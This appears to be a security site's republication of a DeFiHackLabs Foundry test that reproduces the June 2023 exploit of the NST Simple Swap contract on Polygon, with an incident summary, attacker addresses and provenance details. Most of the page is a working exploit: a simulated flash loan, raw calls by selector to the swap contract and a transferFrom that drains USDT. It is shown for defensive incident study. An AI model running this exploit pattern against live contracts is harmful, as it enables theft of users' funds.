Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/NST_exp.sol

Public reproduction file for dataset entry NST Simple Swap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/NST_exp.sol64 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// REKT - NST Simple Swap
8// Write up Author
9// https://twitter.com/eugenioclrc
10// Reported on https://discord.com/channels/1100129537603407972/1100129538056396870/1114142216923926528
11// @TX
12// https://polygonscan.com/tx/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d
13// https://openchain.xyz/trace/polygon/0xa1f2377fc6c24d7cd9ca084cafec29e5d5c8442a10aae4e7e304a4fbf548be6d
14// @Summary
15// Milktech is a software company that explores Polygon web3 technologies and recently ventured into
16// tokens and token payments. They created a token called NST, which maintains a constant price based
17// on USD. Several contracts were developed, with the main one being the swap contract. This contract
18// facilitates a straightforward exchange between two tokens: NST (the internal company token) and USDT,
19// ensuring a consistent price ratio. NST is an ERC-20 token with an additional role called the Minter,
20// allowing specific addresses to mint new tokens. Only the owner of the contract can assign this
21// role. The swap contract is ownable and features two primary functions: buyNST, which takes USDT as input,
22// and sellNST, which takes NST as input. Additionally, the contract includes the ability to pause trading
23// between the tokens. While the token itself was verified, the swap contract was not.
25// Exploit Address: https://polygonscan.com/address/0x3bb7a0f2fe88aba35408c64f588345481490fe93
26// Attacker Address: https://polygonscan.com/address/0xcb3585f3e09f0238a3f61838502590a23f15bb5b
28contract NstExploitTest is Test {
29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
31 IERC20 usdt = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
32 IERC20 nst = IERC20(0x83eE54ccf462255ea3Ec56Fa8dE6797d679276e7);
34 address swapper = 0x9D101E71064971165Cd801E39c6B07234B65aa88;
36 function setUp() public {
37 cheats.createSelectFork("polygon", 43_430_814);
38 vm.label(address(usdt), "USDT");
39 vm.label(address(nst), "NST");
40 vm.label(swapper, "swapper");
42 assertEq(block.number, 43_430_814);
43 }
45 function testExploit() public {
46 usdt.approve(swapper, type(uint256).max);
47 nst.approve(swapper, type(uint256).max);
49 // the attacker use balancer to take a flashloan of 40k usd, im gonna mock it
50 // to make it simpler to read
51 deal(address(usdt), address(this), 40_000_000_000); // 40k usd, usdt has 6 decimals
53 (bool ret, bytes memory data) = swapper.call(abi.encodeWithSelector(bytes4(0x6e41592c), 40_000_000_000));
54 require(ret, "call failed");
55 uint256 retAmount = abi.decode(data, (uint256));
57 (ret, data) = swapper.call(abi.encodeWithSelector(bytes4(0x7cd0599b), retAmount));
58 require(ret, "call2 failed");
60 usdt.transferFrom(swapper, address(this), 31_559_083_207);
62 console.log("USDT Theft", usdt.balanceOf(address(this)) - 40_000_000_000);
63 }

Analysis

Dataset entry

Public Foundry test for “NST Simple Swap” (2023-06-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xcb3585f3e09f0238a3f61838502590a23f15bb5b

File record

Name
NST Simple Swap
Path
src/test/2023-06/NST_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4666969f01c48d86a47521cd9aed321f5940db20
Language
Solidity
Size
65 lines
Date
2023-06-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/NST_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4666969f01c48d86a47521cd9aed321f5940db20, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.